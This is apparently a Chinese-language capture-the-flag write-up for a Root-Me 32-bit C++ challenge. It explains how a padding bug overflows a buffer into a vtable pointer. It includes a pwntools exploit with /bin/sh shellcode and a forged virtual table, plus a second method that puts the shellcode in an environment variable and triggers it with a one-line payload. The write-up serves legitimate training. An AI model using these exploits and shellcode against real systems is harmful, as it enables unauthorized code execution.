题目地址:rootme
Source Code:
#include
#include
#include
#include
#include
// g++ -m32 ch20.cpp -o ch20 -z execstack
class formatter
{
public :
virtual int RTTI( ) =0 ;
virtual void displayName( ) =0 ;
virtual void format( const char * ptr ) =0 ;
};
class UpperFormatter: public formatter
{
public :
virtual int RTTI( ) { return 1; };
virtual void displayName( ) { printf ("UpperFormatter"); }
virtual void format( const char * ptr )
{
const char * cptr = ptr;
while (*cptr)
{
printf("%c", toupper(*cptr));
cptr++;
}
}
};
class LowerFormatter: public formatter
{
public :
virtual int RTTI( ) { return 2; };
virtual void displayName( ) { printf ("UpperFormatter"); }
virtual void format( const char * ptr )
{
const char * cptr = ptr;
while (*cptr)
{
printf("%c", tolower(*cptr));
cptr++;
}
}
};
#define SIZE (80)
class MyStringFormatter
{
public:
MyStringFormatter( formatter * pFormatter ):m_pFormatter(pFormatter),m_Id(1) {};
void GetInput(int padding ) {
memset(str ,' ' , SIZE ); fgets(str+padding,SIZE,stdin); }
void display() const{m_pFormatter->format(str) ;}
protected:
char str[SIZE];
formatter * m_pFormatter ;
int m_Id;
};
int main(int argc, char* argv[])
{
printf("Padding : 1-5\r\n");
char size[4];
int padding = atoi(fgets(size,4,stdin));
if (padding <0 || padding >5)
{
printf ("Padding error\r\n");
exit(0);
}
printf("\r\n\r\n\tConvert in : \r\n");
printf("\t 1: uppercase \r\n");
printf("\t 2: lowercase \r\n");
int choice = atoi(fgets(size,4,stdin));
formatter * pformatter = NULL;
switch (choice)
{
case 1:
pformatter = new UpperFormatter ;
break;
case 2:
pformatter = new LowerFormatter ;
break;
}
if (pformatter == NULL)
{
printf ("Bad choice!\r\n");
exit(0);
}
MyStringFormatter formatter(pformatter );
printf("String to convert: \r\n");
formatter.GetInput(padding);
formatter.display();
return 0;
}
程序中定义了一个基类formatter和两个派生类UpperFormatter和LowerFormatter。在基类中定义了三个虚函数在派生类中都有了实现。之后定义了一个MyStringFormatter类,在该类中定义了一个大小为80Bytes的buffer(str),和一个指向formatter类对象的指针m_pFormatter,当该类的构造函数被调用时,这个对象就会被派生为UpperFormatter或LowerFormatter类的实现。
MyStringFormatter类中定义了两个构造函数:
在main()中定义了MyStringFormatter类对象formatter,编译器会首先开辟80字节的地址给str。然后编译器看到formatter类对象指针的定义,就会去浏览基类的定义,并为三个虚函数各预留4bytes用于存放虚函数指针”VPTR” (Virtual Pointer)
在Getinlut()中,由于padding的存在,使得padding+输入的长度超过了str的80字节,而往往虚函数指针的位置就在str之后的四个字节里,因此可以通过溢出控制程序跳转。
由于display()函数中调用了虚函数,反汇编display函数可得到VPTR的位置
0x56555bee <+22>: mov eax,DWORD PTR [ebp+0x8]
0x56555bf1 <+25>: mov eax,DWORD PTR [eax+0x50]
0x56555bf4 <+28>: mov eax,DWORD PTR [eax]
0x56555bf6 <+30>: add eax,0x8
0x56555bf9 <+33>: mov eax,DWORD PTR [eax]
........
0x56555c03 <+43>: call eax
这几句完成了虚函数表的跳转:
第六行:调用FinalAddr
很绕对不对!!!
有两种方法可以构造exp
方案一:将shellcode输入到str中
由于虚表要完成好多次跳转,我构造的exp应该是长这个样子的:
- AAAA:存放BBBB的地址
- BBBB:其中存放4个nop
- N:nop
- CCCC:存放shellcode的地址
- VVVV:存放AAAA的地址,即str的起始地址
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level = 'debug')
p=process("./ch20")
context.terminal = ['gnome-terminal','-x','sh','-c']
gdb.attach(proc.pidof(p)[0])
#p=gdb.debug("./ch20")
p.recvuntil("Padding : 1-5\r\n")
a=5
p.sendline("5")
b=2
p.recvuntil("2: lowercase \r\n")
p.sendline("2")
p.recvuntil("String to convert: \r\n")
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
payload=""
#payload+="\x90"*20+shellcode+"\x90"*31
payload+=p32(0xffffd361)#AAAA中存放BBBB的地址
payload+="\x90"*8
payload+=p32(0xffffd361+0x8+0x4)#CCCC中存放shellcode的地址
payload+="\x90"*35
payload+=shellcode
payload+=p32(0xffffd35d)#VVVV中存放AAAA的地址
p.sendline(payload)
p.interactive()
方案二:将shellcode写入环境变量
将方案一中的exp在rootme服务器上运行时会出现两个问题:
首先我们创建一个环境变量,样子和方案一中str长的一样,不过VVVV可以没有
注:0x90*35那里也可以没有那么多,懒得改了
在/tmp写一个c语言脚本getenv用于获取环境变量首地址
#include
#include
#include
#include
//gcc -o getenv getenv.c
int main(int argc, char *argv[]) {
char *ptr;
if(argc < 3) {
fprintf(stderr, "Usage: %s \n" , argv[0]);
exit(1);
}
/* Get env var location. */
ptr = getenv(argv[1]);
/* Adjust for program name. */
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p\n", argv[1], ptr);
}
修改环境变量中的地址
此时我们输入包含选项、填充和环境变量首地址的payload
cat <(python -c 'print "5\n2\n"+"A"*75+"\x60\xfd\xff\xbf"') - | ./ch20